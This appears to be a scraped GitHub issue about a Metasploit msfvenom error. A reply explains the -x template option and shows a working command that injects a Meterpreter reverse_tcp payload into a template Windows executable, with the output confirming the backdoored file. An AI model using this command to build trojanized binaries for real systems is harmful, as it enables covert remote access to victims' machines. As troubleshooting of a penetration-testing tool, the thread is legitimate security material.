How'd you do it?
Payload size: xxx bytes
What should happen?
Payload should be generated
Error: No such file or directory @ rb_sysopen - ./original_file.exe
What happens instead?
It shows error and does not upload payload.
5.0.41-dev

Kali linux
The -x argument is used to specify a custom executable file to use as a template.
The -x argument requires a path to an existing executable.
No such file or directory implies that the filename provided in the -x argument does not exist.
# ruby -W0 ./msfvenom -p windows/meterpreter/reverse_tcp -k -x /usr/share/dbd/binaries/dbd.exe LHOST=172.16.191.165 LPORT=1337 -f exe -o clone_file.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 67072 bytes
Saved as: clone_file.exe
# file clone_file.exe
clone_file.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Most helpful comment
The
-xargument is used to specify a custom executable file to use as a template.The
-xargument requires a path to an existing executable.No such file or directoryimplies that the filename provided in the-xargument does not exist.